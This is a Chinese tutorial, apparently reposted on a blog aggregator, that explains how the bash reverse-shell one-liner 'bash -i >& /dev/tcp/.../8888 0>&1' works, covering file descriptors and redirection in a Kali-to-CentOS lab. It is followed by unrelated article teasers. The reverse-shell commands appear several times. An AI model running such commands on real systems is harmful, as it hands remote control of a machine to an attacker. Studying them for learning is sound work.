反弹shell bash -i命令

news2024/10/1 12:10:55

目录

  0x01 什么是反弹shell?
  0x02 命令拆分详解
  0x03 文件描述符
  0x04 shell 输入/输出重定向
  0x05 输入输出结合获得shell

什么是反弹shell?

假设有两台主机
A(控制端)
B(被控端)

正向shell,就是ssh、Telnet的连接,A主动发起连接B指定端口,然后A就可以通过命令控制B了

反弹shell,A先开启一个监听端口,让B去连接A的这个端口,连接成功后,A就能控制B了

命令拆分详解

bash -i >& /dev/tcp/192.168.1.1/9090 0>&1

bash -i

bash -i,意为创建一个交互式的bash shell

/dev/tcp/192.168.1.1/9090

dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件
/dev/tcp/是linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,linux中还存在/dev/upd/
所以上述命令是和192.168.1.1:9090建立TCP连接

虽然/dev/tcp/${HOST}/${PORT}这个字符虽然看起来像一个文件系统中的文件,并且位于/dev这个设备文件夹下

但是这个文件并不存在,并且不是一个设备文件。这只是bash实现的用来实现网络请求的一个接口,其实就像我们自己编写的一个命令行程序,按照指定的格式输入host port参数,就能发起一个socket连接

文件描述符

Linux系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输出/输出重定向)

标准输入(stdin)代码为0使用<或<<默认设备键盘
标准输出(stdout)代码为1使用>或>>默认设备显示器
标准错误输出(stderr)代码为2使用2>或2>>默认设备显示器

大多数Linux系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输入写入到标准输出,默认情况下,这也是你的终端。

shell 输入/输出重定向

如上,我们正常使用终端执行命令时,默认输入输出皆是终端。

输出重定向

顾名思义,就是将输出结果重定向到其他地方

1️⃣>

使用 1> 将输出结果写入到指定文件中,文件不存在则创建文件,文件如果存在会覆盖原文件内容

1> 中的1是默认的可以忽略不写,也就是可以写成>
同理0<可以写成<

2️⃣>>

使用>>会追加内容在文件末尾

3️⃣实例

控制端:kali
被控端:centos

kali监听8888端口

在这里插入图片描述
centos输入命令
在这里插入图片描述

kali监听到输出结果

在这里插入图片描述
kali继续监听端口,centos输入命令

在这里插入图片描述
kali得到输出结果

在这里插入图片描述

输入重定向

1️⃣实例

kali开启监听端口
在这里插入图片描述
centos执行命令,在kali输入命令就能控制centos输入
在这里插入图片描述

输入输出结合获得shell

两条命令

bash -i > /dev/tcp/192.168.52.144/8888
bash -i < /dev/tcp/192.168.52.144/8888

结合一下,即可实现反弹shell

bash -i >& /dev/tcp/192.168.52.144/8888 0>&1

1️⃣0>&1

语法格式是

>&word

当word为数字或者-时,表示复制文件描述符
复制格式有num1<&num2和num1>&num2,区别是,前者是以只读的形式打开,后者是以写的形式打开,这里两者均可

0>&1这里意思是将0[标准输入]重定向到了1[标准输出]指向的位置

2️⃣>&

当word不是数字或-字符时,>&表示将标准错误输出合并到标准输出中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/905414.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

YOLOv5源码中的参数超详细解析(4)— 推理部分detect.py

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。YOLOv5是一种先进的目标检测算法&#xff0c;它可以实现快速和准确的目标检测。detect.py是YOLOv5项目目录结构中的一个重要的脚本文件&#xff0c;它用于执行目标检测任务&#xff0c;可以通过命令行参数指定要检测的图像…

【三维重建】Factor Fields: 超越神经场的统一框架

论文&#xff1a;Factor Fields: A Unified Framework for Neural Fields and Beyond 文章&#xff1a;https://arxiv.org/abs/2302.01226 项目&#xff1a;https://apchenstu.github.io/FactorFields/ 文章目录 摘要一、前言二、Factor Fields2.1.字典场&#xff08;DiF&#…

二级MySQL(三)——数据库的增删改查

创建一个新的数据库&#xff1a; CREATE DATABASE db_school DEFAULT CHARACTER SET GB2312 DEFAULT COLLATE GB2312_chinese_ci&#xff1b; 查找创建的数据库&#xff08;全部&#xff09;&#xff1a; 其他的是SQL自带的数据库 查阅我们自己创建的字符集以及对应的字符集…

Qt 实现 360 安全卫士

作者&#xff1a; 一去、二三里 个人微信号&#xff1a; iwaleon 微信公众号&#xff1a; 高效程序员 回想起来&#xff0c;这也算是一个有故事的代码。虽然时间比较久远&#xff0c;但还是记忆犹新。 那就简单说说吧&#xff0c;也不枉费当年的一片心血&#xff01; 说说我的…

java可变字符串

一、常用方法 以StringBuilder为例 1、append(String str) 添加 StringBuilder str new StringBuilder("hello"); System.out.println(str);//在源字符串后添加world StringBuilder add str.append("world"); System.out.println(add);//结果helloworl…

Platypus:Quick,Cheap,and Powerful Refinement of LLMs

Platypus:Quick,Cheap,and Powerful Refinement of LLMs IntroductionMethod2.1 Curating Open- PlatypusRemoving similar&duplicate questionsContamination CheckFine-tuning & mergingResult参考Introduction 现在大模型已经取得很不错的结果,如何把大模型的能…

PL 侧驱动和fpga 重加载的方法

可以解决很多的问题 时钟稳定后加载特定fpga ip &#xff08;要不内核崩的一塌糊涂&#xff09;fpga 稳定复位软件决定fpga ip 加载的时序 dluash load /usr/local/scripts/si5512_setup.lua usleep 30 mkdir -p /lib/firmware cp -rf /usr/local/firmare/{*.bit.bin,*.dtbo} …

css 实现svg动态图标效果

效果演示&#xff1a; 实现思路&#xff1a;主要是通过css的stroke相关属性来设置实现的。 html代码: <svgt"1692441666814"class"icon"viewBox"0 0 1024 1024"version"1.1"xmlns"http://www.w3.org/2000/svg"p-id"…

jps(JVM Process Status Tool):虚拟机进程状况工具

jps&#xff08;JVM Process Status Tool&#xff09;&#xff1a;虚拟机进程状况工具 列出正在运行的虚拟机进程&#xff0c;并显示虚拟机执行主类名称&#xff08;Main Class&#xff0c;main()函数所在的类&#xff09;以及这些进程的本地虚拟机唯一ID&#xff08;LVMID&am…

VMware上搭建的虚拟机突然本地无法连接服务器

长时间没有使用VMware 虚拟机了&#xff0c;今天突然登录上去&#xff0c;启动虚拟服务器后发现本地等不了了&#xff0c; 经过排查发现是开启了&#xff1a;VirtualBox Host-Only Network 关闭之后就本机就可以直连服务器了

java能实现热替换而属性不丢失的原因

1.替换的是klass&#xff0c;数据在oop里面 2.这个没想通说明对java面向对象底层实现不了解。

Midjourney API 申请及使用

在人工智能绘图领域&#xff0c;想必大家听说过 Midjourney 的大名吧&#xff01; Midjourney 以其出色的绘图能力在业界独树一帜。无需过多复杂的操作&#xff0c;只要简单输入绘图指令&#xff0c;这个神奇的工具就能在瞬间为我们呈现出对应的图像。无论是任何物体还是任何风…

linux中shell脚本——shell数组、正则表达式及文件三剑客之AWK

目录 一.shell数组 1.1.数组分类 1.2.定义数组方法 二.正则表达式 2.1.元字符 2.2.表示次数 2.3.位置锚定 2.4.分组 2.5.扩展正则表达式 三.文本三剑客之AWK 3.1.awk介绍及使用格式 3.2.处理动作 3.3.awk选项 3.4.awk处理模式 2.5.awk常见的内置变量 2.6.if条…

5.5.webrtc的线程管理

今天呢&#xff0c;我们来介绍一下线程的管理与绑定&#xff0c;首先我们来看一下web rtc中的线程管理类&#xff0c;也就是thread manager。对于这个类来说呢&#xff0c;其实实现非常简单&#xff0c;对吧&#xff1f; 包括了几个重要的成员&#xff0c;第一个成员呢就是ins…

2021年12月 C/C++(三级)真题解析#中国电子学会#全国青少年软件编程等级考试

第1题:我家的门牌号 我家住在一条短胡同里,这条胡同的门牌号从1开始顺序编号。 若所有的门牌号之和减去我家门牌号的两倍,恰好等于n,求我家的门牌号及总共有多少家。 数据保证有唯一解。 时间限制:1000 内存限制:65536 输入 一个正整数n。n < 100000。 输出 一行,包含…

DTC 19服务学习2

紧跟上篇 0x04 reportDTCSnapshotRecordByDTCNumber 通过DTC和快照序列来获取DTC快照记录。 适用以下假设&#xff1a; — 服务器支持存储给定 DTC 的两个 DTCSnapshot 记录的能力。 — 此示例假定是上一个示例的延续。 — 假设服务器请求服务器存储的 DTC 编号 123456 的两个…

【学会动态规划】环绕字符串中唯一的子字符串(25)

目录 动态规划怎么学&#xff1f; 1. 题目解析 2. 算法原理 1. 状态表示 2. 状态转移方程 3. 初始化 4. 填表顺序 5. 返回值 3. 代码编写 写在最后&#xff1a; 动态规划怎么学&#xff1f; 学习一个算法没有捷径&#xff0c;更何况是学习动态规划&#xff0c; 跟我…

使用 Amazon Redshift Serverless 和 Toucan 构建数据故事应用程序

这是由 Toucan 的解决方案工程师 Django Bouchez与亚马逊云科技共同撰写的特约文章。 带有控制面板、报告和分析的商业智能&#xff08;BI&#xff0c;Business Intelligence&#xff09;仍是最受欢迎的数据和分析使用场景之一。它为业务分析师和经理提供企业的过去状态和当前状…

尝试自主打造一个有限状态机(一)

前言 我们都知道Unity有自带的有限状态机Animator&#xff0c;它的功能非常强大&#xff0c;为了探索它背后的原理&#xff0c;我开启了这个系列的文章&#xff0c;尝试通过自主打造一个有限状态机来理解Animator的工作原理&#xff0c;同时我会将这个状态机应用于实际&#xf…

unity 之 Input.GetMouseButtonDown 的使用

文章目录 Input.GetMouseButtonDown Input.GetMouseButtonDown 当涉及到处理鼠标输入的时候&#xff0c;Input.GetMouseButtonDown 是一个常用的函数。它可以用来检测鼠标按键是否在特定帧被按下。下面我会详细介绍这个函数&#xff0c;并举两个例子说明如何使用它。 函数签名…